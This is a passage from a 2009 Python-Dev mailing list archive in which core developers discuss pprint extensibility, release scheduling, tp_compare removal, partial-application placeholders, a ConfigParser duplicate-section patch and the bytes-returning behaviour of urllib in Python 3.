iQCVAwUBSYdDbnEjvBPtnXfVAQKfGwQAjow7pXouQ+e+qAOzgvYm7x5atqMeLbUI iQJ2o83Gdci8jtJZQgd3jRccE2qqST9yJrOkYwA20M1KamktoqSQJJQ6fQcKMSSa nP1ZCrnNmKrt4NjeKUdB/g626mEpowmk6X5pgrITVUL1g35h+n+bqlgDrJ5HzaqQ rPiBtt2WCh4= =Svnl -----END PGP SIGNATURE----- From p.f.moore at gmail.com Mon Feb 2 20:58:51 2009 From: p.f.moore at gmail.com (Paul Moore) Date: Mon, 2 Feb 2009 19:58:51 +0000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986D29A.1010304@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> <4986D29A.1010304@gmail.com> Message-ID: <79990c6b0902021158k227f13fcw674c5147f15d07fc@mail.gmail.com> 2009/2/2 Nick Coghlan : > Paul Moore wrote: >> 2009/2/2 Nick Coghlan : >>> A trio of patches that: >>> 1. promoted simplegeneric from pkgutil to functools (with appropriate >>> documentation and tests) >>> 2. changed pkgutil to use functools.simplegeneric instead of its current >>> internal version >>> 3. updated pprint to be a generic function (and hence more easily >>> extensible via the ABC mechanism, while still keeping it's current >>> special cases as necessary) >>> >>> would certainly be an interesting thing to see (with patch 3 being the >>> poster child for why patch 1 is a good idea). >> >> I'll see what I can do. I can't promise much for (3) as I don't >> personally have a need for it, so my understanding of the use cases is >> limited at best. But (1) and (2) should be possible. >> >> Can I assign the patches to you (for review, at least)? > > Sure - I've had plenty to do with functools in the past, and will no > doubt have plenty to do with it in the future. http://bugs.python.org/issue5135 A single patch covering (1) and (2). Paul. From matthew at matthewwilkes.co.uk Mon Feb 2 21:16:11 2009 From: matthew at matthewwilkes.co.uk (Matthew Wilkes) Date: Mon, 2 Feb 2009 20:16:11 +0000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4982259B.4070808@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <20090129142021.GA8996@panix.com> <4981BBB7.50502@voidspace.org.uk> <4982259B.4070808@gmail.com> Message-ID: <379F615C-3260-4D10-BC53-7C0FACC7F19C@matthewwilkes.co.uk> On 29 Jan 2009, at 21:54, Nick Coghlan wrote: > For the "reiterable" cases like dictionary views (where the object is > not consumed), an appropriate __str__ or __repr__ should be written). Indeed, instead of having a __pprint__ why not just allow a __repr__ to reformat its output? dict having: def __repr__(self, pretty=False): if pretty: return "{\n a: 1\n b: 2\n}" else: return "{a: 1, b: 2}" That way you can specify your own pretty format, intending it to still be a valid __repr__ and pprint can do: try: print(obj.__repr__(pretty=True)) except TypeError: print(prettify(repr(obj))) That way it's opt in, doesn't have a special method, and includes the mental prompt "this should eval() to obj" Matt From ncoghlan at gmail.com Mon Feb 2 21:50:43 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Tue, 03 Feb 2009 06:50:43 +1000 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <4986EE88.3030206@palladion.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> <4986D29A.1010304@gmail.com> <4986EE88.3030206@palladion.com> Message-ID: <49875CA3.6020805@gmail.com> Tres Seaver wrote: > Nick Coghlan wrote: >> (and don't worry too much about 3 - it will give me an opportunity to >> road test the functools patch by using it to refactor pprint and check >> the performance implications) > > /me wonders about the performance-criticality of anything using > 'pprint'. Or were you just planning to use it as a means to benchmark > the 'simplegeneric' stuff? I would think something with a lot lower > intrinsic overhead would be a better benchmark target. Don't read too much into that comment - generics make the most sense in cases (like pprint) where extensibility is a more important feature than raw speed. I'm talking about more subjective impressions of performance as well as things like "if I register a handler for Sequence, is there any performance advantage in registering direct handlers for the builtin subclasses?". Really drastic performance degradations would be on the radar as well - slowing pprint() down by 10% is unlikely to bother anyone, but slowing it down by 100% would be a bad thing (not that I think such a degradation is likely, I'm just trying to give an impression of the magnitude of change I'll be trying to measure). Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From robert.kern at gmail.com Mon Feb 2 22:08:51 2009 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 02 Feb 2009 15:08:51 -0600 Subject: [Python-Dev] pprint(iterator) In-Reply-To: <49875CA3.6020805@gmail.com> References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1> <498272CB.5040503@ronadam.com> <4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info> <79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com> <49830FB1.3060306@livinglogic.de> <79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com> <4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com> <79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com> <4986D29A.1010304@gmail.com> <4986EE88.3030206@palladion.com> <49875CA3.6020805@gmail.com> Message-ID: On 2009-02-02 14:50, Nick Coghlan wrote: > Really drastic performance degradations would be on the radar as well - > slowing pprint() down by 10% is unlikely to bother anyone, but slowing > it down by 100% would be a bad thing (not that I think such a > degradation is likely, I'm just trying to give an impression of the > magnitude of change I'll be trying to measure). Using the pretty module I referenced earlier, which basically uses simplegeneric's lookup algorithm: In [11]: %timeit x=pprint.pformat(sys.modules) 10 loops, best of 3: 27.5 ms per loop In [12]: %timeit x=pretty.pretty(sys.modules) 10 loops, best of 3: 39.9 ms per loop In [13]: len(sys.modules) Out[13]: 517 The comparison is somewhat dodgy, though. pretty is not so much a refactoring of pprint as a reimplementation, so the time differences may not be due to the dispatch. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From martin at v.loewis.de Mon Feb 2 22:48:05 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 02 Feb 2009 22:48:05 +0100 Subject: [Python-Dev] 3.0.1/3.1.0 summary In-Reply-To: <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org> References: <498295F5.2050607@v.loewis.de> <592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org> <4984A9CA.1010307@v.loewis.de> <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org> Message-ID: <49876A15.6010400@v.loewis.de> >> Fine with me (although next Friday (Feb 6) would work slightly better) > > Feb 6 won't work for me. Would the 20th be better for you Martin? No, they are both busy days - Feb 13 is then slightly better than Feb 20. I have about an hour in the morning (around 8:00 UTC), and then after 15:00 UTC - so I should be done in my evening, if that's good enough. Regards, Martin From barry at python.org Mon Feb 2 22:50:27 2009 From: barry at python.org (Barry Warsaw) Date: Mon, 2 Feb 2009 16:50:27 -0500 Subject: [Python-Dev] 3.0.1/3.1.0 summary In-Reply-To: <49876A15.6010400@v.loewis.de> References: <498295F5.2050607@v.loewis.de> <592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org> <4984A9CA.1010307@v.loewis.de> <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org> <49876A15.6010400@v.loewis.de> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 2, 2009, at 4:48 PM, Martin v. L?wis wrote: >>> Fine with me (although next Friday (Feb 6) would work slightly >>> better) >> >> Feb 6 won't work for me. Would the 20th be better for you Martin? > > No, they are both busy days - Feb 13 is then slightly better than Feb > 20. I have about an hour in the morning (around 8:00 UTC), and then > after 15:00 UTC - so I should be done in my evening, if that's good > enough. Yep, that will work. B -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSYdqo3EjvBPtnXfVAQLe9AQAh5e7P+7tO0Ibd8f/2Yvj7xfoYoQk0Z5n V/nMpN+UbSI55w5ZvPrjL1a0zFknTaqBxeSTbhdbIeNXVAUEc8oWauajMvJjCH/r WXZjAze9WW6BqW3UJCmMmmMtRc6biKyv++avhuu/ursiGdaV9JMYk/q0R970ny2V s+FF4gZKGpo= =+MjC -----END PGP SIGNATURE----- From martin at v.loewis.de Mon Feb 2 22:57:44 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 02 Feb 2009 22:57:44 +0100 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <4986CCAD.1020904@gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> <4986CCAD.1020904@gmail.com> Message-ID: <49876C58.1050801@v.loewis.de> > I'm wondering if Mark should add the exception he recently removed back > in as a Deprecation Warning when tp_compare is defined, but > tp_richcompare is not. Such a warning should also be present when > running with -3 in 2.7 (assuming it isn't already there). > > Otherwise we're going to get more questions like Campbell's wondering if > it is intentional that tp_compare is no longer getting called in the 3.x > series (the warnings would both make it explicit and give guidance on > what to do about it). Mark removed the cmpfunc typedef; that should cause compilation in many extension modules (except those which don't actually cast to cmpfunc, but get the type right in the first place). Also, if you then investigate why it doesn't get called, you'll notice quickly that the slot doesn't even have the right name anymore. So Campbell's surprise would be gone - he wouldn't have been able to still invoke tp_compare through the cmp() builtin. Regards, Martin From martin at v.loewis.de Mon Feb 2 23:01:01 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Mon, 02 Feb 2009 23:01:01 +0100 Subject: [Python-Dev] python 3.0, tp_compare not used for == test? In-Reply-To: <5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com> References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com> <4986CCAD.1020904@gmail.com> <5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com> <4986DB2B.5040400@gmail.com> <5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com> Message-ID: <49876D1D.5060604@v.loewis.de> > Understood. My worry was that we'd get a lot of false positives--- > i.e., warnings about pieces of Python 2.7 that don't need to change. > But I guess that's okay. I don't personally use the -3 flag, but I would expect that these would indeed be annoying. We could arrange to exempt them, by introducing a "Core" type flag, to be included in the default type flags when the core is compiled (and not even declared otherwise). Regards, Martin From martin at v.loewis.de Mon Feb 2 23:07:44 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Mon, 02 Feb 2009 23:07:44 +0100 Subject: [Python-Dev] Removing tp_compare? In-Reply-To: <0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com> References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com> <4984C276.70100@v.loewis.de> <5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com> <4985E40E.2000903@v.loewis.de> <5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com> <0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com> Message-ID: <49876EB0.3080004@v.loewis.de> > Don't you rememeber the PC:s in the late 1980th? It was based on > Intel's 80286-processor, and Microsoft's C compiler supported > three or four different memory models, called things like "TINY", > "SMALL", "LARGE", and "HUGE". Most of these memory models had > different sized data and function pointers. I don't think this is factually correct: - tiny, small: code and data each 16 bit - large, huge: code and data each 32 bit - medium: code 32 bit, data 16 bit - compact: code 16 bit, data 32 bit So most of the memory models (66%) have same-sized data and function pointers, only few of them (33%) have them differently-sized. In any case, I don't think Python supports 8086 segmented mode in any reasonable way today. Regards, Martin From tpollari at gmail.com Mon Feb 2 22:45:13 2009 From: tpollari at gmail.com (Ted Pollari) Date: Mon, 2 Feb 2009 13:45:13 -0800 Subject: [Python-Dev] Financial aid for PyCon 2009 is now available Message-ID: I'm happy to announce that the Python Software Foundation has allocated funds to help people attend PyCon 2009! If you would like to come to PyCon but can't afford it, the PSF may be able to help you pay for registration, lodging/hotel costs and transportation (flight etc.). Please see http://us.pycon.org/2009/registration/financial-aid/ for full details, or email pycon-aid at python.org with questions. From greg.ewing at canterbury.ac.nz Tue Feb 3 05:18:06 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Tue, 03 Feb 2009 17:18:06 +1300 Subject: [Python-Dev] Should there be a source-code checksum in module objects? In-Reply-To: <18823.16396.670887.39075@panix5.panix.com> References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> <18823.16396.670887.39075@panix5.panix.com> Message-ID: <4987C57E.7030708@canterbury.ac.nz> rocky at gnu.org wrote: > But the > expectation is that the programmer thinks it matches what is currently > on A that the programmer is debuggging. Can I tell for certain? You can always find out by compiling the source and comparing the resulting bytecode with what is currently on A. Not that this is necessarily a *convenient* way... -- Greg From ygingras at ygingras.net Tue Feb 3 07:34:13 2009 From: ygingras at ygingras.net (Yannick Gingras) Date: Tue, 3 Feb 2009 01:34:13 -0500 Subject: [Python-Dev] [patch] Duplicate sections detection in ConfigParser Message-ID: <200902030134.13646.ygingras@ygingras.net> Greetings Pythonistas, ConfigParser as you most certainly know is a .ini parser included in the Python standard library. It's documentation mentions a DuplicateSectionError but I was puzzled after hunting a bug in our application that this error was not raised when parsing a file with duplicate sections. After looking at the code, it turns out that DuplicateSectionError is only raised when using the builder interface; the parser interface will never throw it. The attached patch is compatible with both the 2.x and the 3.x branches; it adds a `unique_sects` parameter to the constructor of RawConfigParser and a test in the parser loop that raises DuplicateSectionError if a section is seen more then once and that unique_sects is True. This is just a proof of concept and I'd like your opinion on it before working on the final version. I see two main issues regarding backward compatibility and uniformity. For uniformity `unique_sects` should also apply to the builder interface. However, if it does, it should default to True since it was the default behavior for the builder interface to raise on duplicate sections. On the other hand, the default behavior for the parser interface was to ignore duplicate sections so making `unique_sects` default to True might break existing code. To summarize, I ask you all: * Is the lack of duplicates detection in the parser a problem worth addressing? * Should `unique_sects` control the builder interface? * Should it default to True? Best regards, -- Yannick Gingras http://ygingras.net -------------- next part -------------- A non-text attachment was scrubbed... Name: no-dups-configparser.diff Type: text/x-patch Size: 1248 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From hrvoje.niksic at avl.com Tue Feb 3 10:56:18 2009 From: hrvoje.niksic at avl.com (Hrvoje Niksic) Date: Tue, 03 Feb 2009 10:56:18 +0100 Subject: [Python-Dev] C API for appending to arrays In-Reply-To: <21912812.863616.1233597780010.JavaMail.xicrypt@atgrzls001> References: <49872BAC.8040005@avl.com> <21912812.863616.1233597780010.JavaMail.xicrypt@atgrzls001> Message-ID: <498814C2.3060804@avl.com> Raymond Hettinger wrote: > [Hrvoje Niksic] >> The one thing missing from the array >> module is the ability to directly access array values from C. > > Please put a feature request on the bug tracker. Done, http://bugs.python.org/issue5141 From rocky at gnu.org Tue Feb 3 10:58:00 2009 From: rocky at gnu.org (rocky at gnu.org) Date: Tue, 3 Feb 2009 04:58:00 -0500 Subject: [Python-Dev] Should there be a source-code checksum in module objects? In-Reply-To: References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com> <18823.16396.670887.39075@panix5.panix.com> Message-ID: <18824.5416.368208.120001@panix5.panix.com> Guido van Rossum writes: > I suggest that you move this discussion to python-ideas to ferret out > a possible implementation and API; or to find out work-arounds. Okay. Done. From ben at redfrontdoor.org Tue Feb 3 14:44:53 2009 From: ben at redfrontdoor.org (Ben North) Date: Tue, 3 Feb 2009 13:44:53 +0000 Subject: [Python-Dev] Partial function application 'from the right' Message-ID: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com> Hi, Thanks for the further responses. Again, I'll try to summarise: Scott David Daniels pointed out an awkward interaction when chaining partial applications, such that it could become very unclear what was going to happen when the final function is called: > If you have: > def button(root, position, action=None, text='*', color=None): > ... > ... > blue_button = partial(button, my_root, color=(0,0,1)) > > Should partial_right(blue_button, 'red') change the color or the text? Calvin Spealman mentioned a previous patch of his which took the 'hole' approach, i.e.: > [...] my partial.skip patch, which allows the following usage: > > split_one = partial(str.split, partial.skip, 1) This would solve my original problems, and, continuing Scott's example, def on_clicked(...): ... _ = partial.skip clickable_blue_button = partial(blue_button, _, on_clicked) has a clear enough meaning I think: clickable_blue_button('top-left corner') = blue_button('top-left corner', on_clicked) = button(my_root, 'top-left corner', on_clicked, color=(0,0,1)) Calvin's idea/patch sounds good to me, then. Others also liked it. Could it be re-considered, instead of the partial_right idea? Ben. From aahz at pythoncraft.com Tue Feb 3 17:44:25 2009 From: aahz at pythoncraft.com (Aahz) Date: Tue, 3 Feb 2009 08:44:25 -0800 Subject: [Python-Dev] [patch] Duplicate sections detection in ConfigParser In-Reply-To: <200902030134.13646.ygingras@ygingras.net> References: <200902030134.13646.ygingras@ygingras.net> Message-ID: <20090203164425.GA14050@panix.com> On Tue, Feb 03, 2009, Yannick Gingras wrote: > > The attached patch is compatible with both the 2.x and the 3.x > branches; it adds a `unique_sects` parameter to the constructor of > RawConfigParser and a test in the parser loop that raises > DuplicateSectionError if a section is seen more then once and that > unique_sects is True. Please go ahead and post the patch to bugs.python.org; it can always be revised later and this ensures that we have a record. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From draghuram at gmail.com Tue Feb 3 18:03:59 2009 From: draghuram at gmail.com (Raghuram Devarakonda) Date: Tue, 3 Feb 2009 12:03:59 -0500 Subject: [Python-Dev] [patch] Duplicate sections detection in ConfigParser In-Reply-To: <20090203164425.GA14050@panix.com> References: <200902030134.13646.ygingras@ygingras.net> <20090203164425.GA14050@panix.com> Message-ID: <2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com> >> The attached patch is compatible with both the 2.x and the 3.x >> branches; it adds a `unique_sects` parameter to the constructor of >> RawConfigParser and a test in the parser loop that raises >> DuplicateSectionError if a section is seen more then once and that >> unique_sects is True. http://bugs.python.org/issue2204 refers to the same issue. Perhaps, you can upload your patch there in addition to adding any comments. Thanks, Raghu From collinw at gmail.com Tue Feb 3 19:11:47 2009 From: collinw at gmail.com (Collin Winter) Date: Tue, 3 Feb 2009 10:11:47 -0800 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com> References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com> Message-ID: <43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> On Tue, Feb 3, 2009 at 5:44 AM, Ben North wrote: > Hi, > > Thanks for the further responses. Again, I'll try to summarise: > > Scott David Daniels pointed out an awkward interaction when chaining > partial applications, such that it could become very unclear what was > going to happen when the final function is called: > >> If you have: >> def button(root, position, action=None, text='*', color=None): >> ... >> ... >> blue_button = partial(button, my_root, color=(0,0,1)) >> >> Should partial_right(blue_button, 'red') change the color or the text? > > Calvin Spealman mentioned a previous patch of his which took the 'hole' > approach, i.e.: > >> [...] my partial.skip patch, which allows the following usage: >> >> split_one = partial(str.split, partial.skip, 1) > > This would solve my original problems, and, continuing Scott's example, > > def on_clicked(...): ... > > _ = partial.skip > clickable_blue_button = partial(blue_button, _, on_clicked) > > has a clear enough meaning I think: > > clickable_blue_button('top-left corner') > = blue_button('top-left corner', on_clicked) > = button(my_root, 'top-left corner', on_clicked, color=(0,0,1)) > > Calvin's idea/patch sounds good to me, then. Others also liked it. > Could it be re-considered, instead of the partial_right idea? Have any of the original objections to Calvin's patch (http://bugs.python.org/issue1706256) been addressed? If not, I don't see anything in these threads that justify resurrecting it. I still haven't seen any real code presented that would benefit from partial.skip or partial_right. Collin Winter From millbr02 at luther.edu Tue Feb 3 20:08:31 2009 From: millbr02 at luther.edu (Brad Miller) Date: Tue, 3 Feb 2009 13:08:31 -0600 Subject: [Python-Dev] teaching the new urllib Message-ID: I'm just getting ready to start the semester using my new book (Python Programming in Context) and noticed that I somehow missed all the changes to urllib in python 3.0. ARGH to say the least. I like using urllib in the intro class because we can get data from places that are more interesting/motivating/relevant to the students. Here are some of my observations on trying to do very basic stuff with urllib: 1. urllib.urlopen is now urllib.request.urlopen 2. The object returned by urlopen is no longer iterable! no more for line in url. 3. read, readline, readlines now return bytes objects or arrays of bytes instead of a str and array of str 4. Taking the naive approach to converting a bytes object to a str does not work as you would expect. >>> import urllib.request >>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>> page > >>> line = page.readline() >>> line b'>> str(line) 'b\'>> As you can see from the example the 'b' becomes part of the string! It seems like this should be a bug, is it? Here's the iteration problem: 'b\'>> for line in page: print(line) Traceback (most recent call last): File "", line 1, in for line in page: TypeError: 'addinfourl' object is not iterable Why is this not iterable anymore? Is this too a bug? What the heck is an addinfourl object? 5. Finally, I see that a bytes object has some of the same methods as strings. But the error messages are confusing. >>> line b' "http://www.w3.org/TR/html4/loose.dtd">\n' >>> line.find('www') Traceback (most recent call last): File "", line 1, in line.find('www') TypeError: expected an object with the buffer interface >>> line.find(b'www') 11 Why couldn't find take string as a parameter? If folks have advice on which, if any, of these are bugs please let me know and I'll file them, and if possible work on fixes for them too. If you have advice on how I should better be teaching this new urllib that would be great to hear as well. Thanks, Brad -- Brad Miller Assistant Professor, Computer Science Luther College -------------- next part -------------- An HTML attachment was scrubbed... URL: From millbr02 at luther.edu Tue Feb 3 20:10:12 2009 From: millbr02 at luther.edu (Brad Miller) Date: Tue, 3 Feb 2009 13:10:12 -0600 Subject: [Python-Dev] teaching the new urllib Message-ID: I'm just getting ready to start the semester using my new book (Python Programming in Context) and noticed that I somehow missed all the changes to urllib in python 3.0. ARGH to say the least. I like using urllib in the intro class because we can get data from places that are more interesting/motivating/relevant to the students. Here are some of my observations on trying to do very basic stuff with urllib: 1. urllib.urlopen is now urllib.request.urlopen 2. The object returned by urlopen is no longer iterable! no more for line in url. 3. read, readline, readlines now return bytes objects or arrays of bytes instead of a str and array of str 4. Taking the naive approach to converting a bytes object to a str does not work as you would expect. >>> import urllib.request >>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>> page > >>> line = page.readline() >>> line b'>> str(line) 'b\'>> As you can see from the example the 'b' becomes part of the string! It seems like this should be a bug, is it? Here's the iteration problem: 'b\'>> for line in page: print(line) Traceback (most recent call last): File "", line 1, in for line in page: TypeError: 'addinfourl' object is not iterable Why is this not iterable anymore? Is this too a bug? What the heck is an addinfourl object? 5. Finally, I see that a bytes object has some of the same methods as strings. But the error messages are confusing. >>> line b' "http://www.w3.org/TR/html4/loose.dtd">\n' >>> line.find('www') Traceback (most recent call last): File "", line 1, in line.find('www') TypeError: expected an object with the buffer interface >>> line.find(b'www') 11 Why couldn't find take string as a parameter? If folks have advice on which, if any, of these are bugs please let me know and I'll file them, and if possible work on fixes for them too. If you have advice on how I should better be teaching this new urllib that would be great to hear as well. Thanks, Brad -- Brad Miller Assistant Professor, Computer Science Luther College -- Brad Miller Assistant Professor, Computer Science Luther College -------------- next part -------------- An HTML attachment was scrubbed... URL: From ironfroggy at gmail.com Tue Feb 3 20:45:10 2009 From: ironfroggy at gmail.com (Calvin Spealman) Date: Tue, 3 Feb 2009 14:45:10 -0500 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: References: <5169ff10901290612y745bdeefhb84ff03bfc1e63bf@mail.gmail.com> <5E031BDD-32EC-47CC-8CE4-D4D3888A49F2@gmail.com> <76fd5acf0901301638x6d4da376w34fe78d327af7c87@mail.gmail.com> Message-ID: <76fd5acf0902031145x5f2cf80eucc14312b3f0cedc7@mail.gmail.com> http://bugs.python.org/issue1706256 Took me a couple days to catch up on this thread so here is the link for any interested. Could it be possible to reevaluate this? On Sat, Jan 31, 2009 at 2:40 PM, Leif Walsh wrote: > On Fri, Jan 30, 2009 at 7:38 PM, Calvin Spealman wrote: >> I am just replying to the end of this thread to throw in a reminder >> about my partial.skip patch, which allows the following usage: >> >> split_one = partial(str.split, partial.skip, 1) >> >> Not looking to say "mine is better", but if the idea is being given >> merit, I like the skipping arguments method better than just the >> "right partial", which I think is confusing combined with keyword and >> optional arguments. And, this patch already exists. Could it be >> re-evaluated? > > +1 but I don't know where the patch is. > > -- > Cheers, > Leif > -- Read my blog! I depend on your acceptance of my opinion! I am interesting! http://techblog.ironfroggy.com/ Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy From solipsis at pitrou.net Tue Feb 3 20:53:49 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Tue, 3 Feb 2009 19:53:49 +0000 (UTC) Subject: [Python-Dev] Partial function application 'from the right' References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com> <43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> Message-ID: Collin Winter gmail.com> writes: > > Have any of the original objections to Calvin's patch > (http://bugs.python.org/issue1706256) been addressed? If not, I don't > see anything in these threads that justify resurrecting it. > > I still haven't seen any real code presented that would benefit from > partial.skip or partial_right. The arguments for and against the patch could be brought against partial() itself, so I don't understand the -1's at all. I know I hardly every use partial() (apart from the performance aspect, it looks like a completely useless addition to me), but from a performance standpoint, partial.skip has as much usefulness as partial() itself. Regards Antoine. From brett at python.org Tue Feb 3 20:56:33 2009 From: brett at python.org (Brett Cannon) Date: Tue, 3 Feb 2009 11:56:33 -0800 Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: Message-ID: On Tue, Feb 3, 2009 at 11:08, Brad Miller wrote: > I'm just getting ready to start the semester using my new book (Python > Programming in Context) and noticed that I somehow missed all the changes to > urllib in python 3.0. ARGH to say the least. I like using urllib in the > intro class because we can get data from places that are more > interesting/motivating/relevant to the students. > Here are some of my observations on trying to do very basic stuff with > urllib: > 1. urllib.urlopen is now urllib.request.urlopen Technically urllib2.urlopen became urllib.request.urlopen. See PEP 3108 for the details of the reorganization. > 2. The object returned by urlopen is no longer iterable! no more for line > in url. That is probably a difference between urllib2 and urllib. > 3. read, readline, readlines now return bytes objects or arrays of bytes > instead of a str and array of str Correct. > 4. Taking the naive approach to converting a bytes object to a str does not > work as you would expect. > >>>> import urllib.request >>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html') >>>> page > > >>>> line = page.readline() >>>> line > b'>>> str(line) > 'b\'>>> > As you can see from the example the 'b' becomes part of the string! It > seems like this should be a bug, is it? > No because you are getting back the repr for the bytes object. Str does not know what the encoding is for the bytes so it has no way of performing the decoding. > Here's the iteration problem: > 'b\'>>> for line in page: > print(line) > Traceback (most recent call last): > File "", line 1, in > for line in page: > TypeError: 'addinfourl' object is not iterable > Why is this not iterable anymore? Is this too a bug? What the heck is an > addinfourl object? > > 5. Finally, I see that a bytes object has some of the same methods as > strings. But the error messages are confusing. >>>> line > b' "http://www.w3.org/TR/html4/loose.dtd">\n' >>>> line.find('www') > Traceback (most recent call last): > File "", line 1, in > line.find('www') > TypeError: expected an object with the buffer interface >>>> line.find(b'www') > 11 > Why couldn't find take string as a parameter? Once again, encoding. The bytes object doesn't know what to encode the string to in order to do an apples-to-apples search of bytes. > If folks have advice on which, if any, of these are bugs please let me know > and I'll file them, and if possible work on fixes for them too. While not a bug, adding iterator support wouldn't hurt. And for the better TypeError messages, you could try submitting a patch to change to tack on something like "(e.g. bytes)", although I am not sure if anyone else would agree on that decision. > If you have advice on how I should better be teaching this new urllib that > would be great to hear as well. Probably the biggest issue will be having to explain string encoding. Obviously you can gloss over it or provide students with a simple library that just automatically converts the strings. Or even better, provide some code for the standard library that can take the HTML, figure out the encoding, and then return the decoded strings (might actually already be something for that that I am not aware of). -Brett From ismail at namtrac.org Tue Feb 3 20:59:57 2009 From: ismail at namtrac.org (=?UTF-8?B?xLBzbWFpbCBEw7ZubWV6?=) Date: Tue, 3 Feb 2009 21:59:57 +0200 Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: Message-ID: <19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com> Hi, On Tue, Feb 3, 2009 at 21:56, Brett Cannon wrote: > Probably the biggest issue will be having to explain string encoding. > Obviously you can gloss over it or provide students with a simple > library that just automatically converts the strings. Or even better, > provide some code for the standard library that can take the HTML, > figure out the encoding, and then return the decoded strings (might > actually already be something for that that I am not aware of). http://chardet.feedparser.org/ should work fine for most auto-encoding detection needs. Regards, ismail From benjamin at python.org Tue Feb 3 21:01:02 2009 From: benjamin at python.org (Benjamin Peterson) Date: Tue, 3 Feb 2009 15:01:02 -0500 Subject: [Python-Dev] teaching the new urllib In-Reply-To: References: Message-ID: <1afaf6160902031201n2878bb80x5981f9d469d2b9b4@mail.gmail.com> On Tue, Feb 3, 2009 at 2:08 PM, Brad Miller wrote: > Here's the iteration problem: > 'b\'>>> for line in page: > print(line) > Traceback (most recent call last): > File "", line 1, in > for line in page: > TypeError: 'addinfourl' object is not iterable > Why is this not iterable anymore? Is this too a bug? What the heck is an > addinfourl object? See http://bugs.python.org/issue4608. > > 5. Finally, I see 